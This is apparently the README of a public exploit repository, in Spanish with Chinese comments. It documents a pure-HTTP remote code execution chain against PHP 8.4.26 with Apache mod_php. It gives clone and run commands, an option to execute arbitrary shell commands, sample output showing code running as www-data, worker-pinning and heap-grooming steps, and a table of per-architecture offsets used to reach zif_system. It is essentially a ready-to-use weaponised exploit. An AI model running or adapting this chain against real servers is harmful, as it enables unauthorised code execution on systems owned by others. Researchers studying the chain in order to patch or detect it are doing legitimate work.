Exploit puramente HTTP que logra RCE en PHP 8.4.26 + Apache mod_php mediante una fuga de heap en session upload_progress, reutilización de puntero colgante y omisión de ASLR para llamar a zif_system.
Con la configuración oficial de prefork (MaxRequestWorkers=150), bajo las restricciones de un entorno totalmente remoto, usando solo HTTP, con una página objetivo que solo contiene <?php echo "OK\n"; ?> y sin escribir PHP en el lado objetivo, obtener RCE con un solo comando:
En teoría, siempre que calcules los offsets de todas las versiones de PHP y luego uses esos offsets para hacer fuzzing en lote, siempre habrá algún fuzz que logre RCE. De todos modos, si el worker se cae, se reinicia, así que no hay miedo de tumbar el objetivo.
Sobre el worker: también se ha logrado con el MaxRequestWorkers=150 oficial de prefork. El script primero ocupa las solicitudes incompletas de 149 workers y luego fija A1/B1/A2/B2 al mismo child restante; el worker único es solo la forma de depuración temprana (--workers 1 sigue siendo reproducible).
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 起目标:stock 官方镜像;容器里只把官方 php.ini-production 复制成 php.ini
./pure/run_pure.sh
# target: OK
# architecture: x86_64 (run exploit with --arch x86_64)
# PHP 8.4.26 ...
# display_errors => Off => Off
# memory_limit => 128M => 128M
# workers: official (run exploit with --workers 150)
# 2) 一条命令:A1 -> B1 泄漏 -> A2 -> B2 -> id
python3 exploit.py --port 18110
# --arch auto(默认):自动识别 x86_64 / aarch64
# pinned 150/150 workers (149 holders)
# [try 1] A1: END-cleanup send_cookie OOM
# [try 1] B1: stale-id OOB read (chunk base + libphp)
# arch=x86_64 decoded=819208 zval_ptr_dtor=0x7fe00ef5db60 -> libphp=0x7fe00e8ff000
# chunk buckets: [('0x7fe00c600000', 7495), ('0x7fe00ee00000', 1095),
# ('0x7fe00cc00000', 87), ('0x7fe00c400000', 79)]
# [try 1] A2 + B2: main=0x7fe00cc00000 S=0x7fe00ccf8398 zif_system=0x7fe00ed64370
# [4/4] RCE OK; proof .../out/p1:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
No compila PHP/Apache, no construye imágenes, no monta gdb, no modifica el ini de destino.
pure/run_pure.sh usa por defecto el contenedor p2s-pure-18110, el puerto 18110, y por defecto utiliza
la configuración oficial de prefork (MaxRequestWorkers=150); al arrancar imprime la arquitectura real, el ini y
los valores de MPM; solo con --single se monta la sobreescritura no oficial de un solo worker
pure/docker/apache-single-worker.conf (junto con --workers 1). docker/apache.conf
es solo un enlace simbólico de compatibilidad conservado para el harness antiguo, que apunta al mismo archivo.
En Linux, cuando no hay permisos del grupo docker, el script cambia automáticamente a sudo docker, también se puede indicar explícitamente
DOCKER="sudo docker" ./pure/run_pure.sh; --dbg solo se usa para cambiar a la misma compilación con símbolos
para realizar una calibración offline.
Parámetros comunes:
# 换新 ASLR 复测(重启容器)
python3 exploit.py --port 18110 --restart p2s-pure-18110
# 官方 worker 是默认值;--single 起的单 worker 目标用 --workers 1
python3 exploit.py --port 18110 --workers 1
# ARM64 也可显式指定(默认 --arch auto 自动识别)
python3 exploit.py --arch aarch64 --port 18110 --workers 1
# 自定义命令:把脚本写进挂载目录,再用 sh 执行
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py --port 18110 --cmd 'sh</out/c'
--retries por defecto 3; si el puntero más común en alguna ventana fuera de límites no es
zval_ptr_dtor, el script descarta esta fuga usando la comprobación de rango razonable de libphp-main,
y reinicia toda la cadena.
La página objetivo solo contiene <?php echo "OK\n"; ?>, el tráfico de ataque solo consiste en multipart chunked
y GET/POST normales:
MaxRequestWorkers=150 oficial; primero abrir 149 POST que solo han enviado
la mitad del body para ocupar los demás child, así A1/B1/A2/B2 caerán todos en el mismo child
restante, y el puntero colgante entre peticiones será efectivo.post_max_size: sin Content-Length,
content_length=0, la comprobación al inicio de rfc1867_post_handler se omite,
se puede enviar un body mucho mayor que 8M para hacer heap grooming.PHP_SESSION_UPLOAD_PROGRESS, OOM en php_url_encode del END cleanup; el bailout deja
PS(id) / PS(mod_data) colgantes, send_cookie=1.PS(id) apunte a una cabecera
zend_string falsificada (len=0xC8000, data contiene /), Set-Cookie codifica los 800KB de memoria
posteriores al chunk de id. En la ventana hay simultáneamente:
G:400 deja al final del id chunk se rellena con 900 campos de array anidados,
el pDestructor = zval_ptr_dtor del HashTable real aparece 1095 veces
→ libphp = valor - 0x65EB60.PS(hash_serialize_verifier) apunte al heap
(main+0x7D720); B2 lo sobrescribe con un valor de referencia de 384B convirtiéndolo en un zval que apunta a
S=main+0xF8398, en S se falsifica el pDestructor = zif_system del zend_array
(libphp+0x465370), en el shutdown zend_hash_destroy llama a system("id>/out/p1").Desplazamientos (esta compilación, independientes de ASLR):
| Símbolo/posición | x86_64 | aarch64 |
|---|---|---|
puntero zval_ptr_dtor filtrado | libphp+0x65EB60 | libphp+0x63812B |
zif_system | libphp+0x465370 | libphp+0x42CD70 |
array falso S | main+0xF8398 | main+0xF8398 |
hsv de A2 | main+0x7D720 | main+0x7D720 |
El símbolo ELF zval_ptr_dtor de aarch64 está en 0x638120, pero el puntero que se repite
en esta fuga está 11 bytes después, por lo que el profile resta 0x63812B.
Entorno objetivo: Debian 13 (trixie), Apache 2.4.69 prefork, PHP 8.4.26 NTS
mod_php, files session handler. Cambiar la compilación/versión de PHP requiere recalibrar los desplazamientos;
ASLR cambia en cada arranque del contenedor, las dos fugas de la cadena se calculan solas.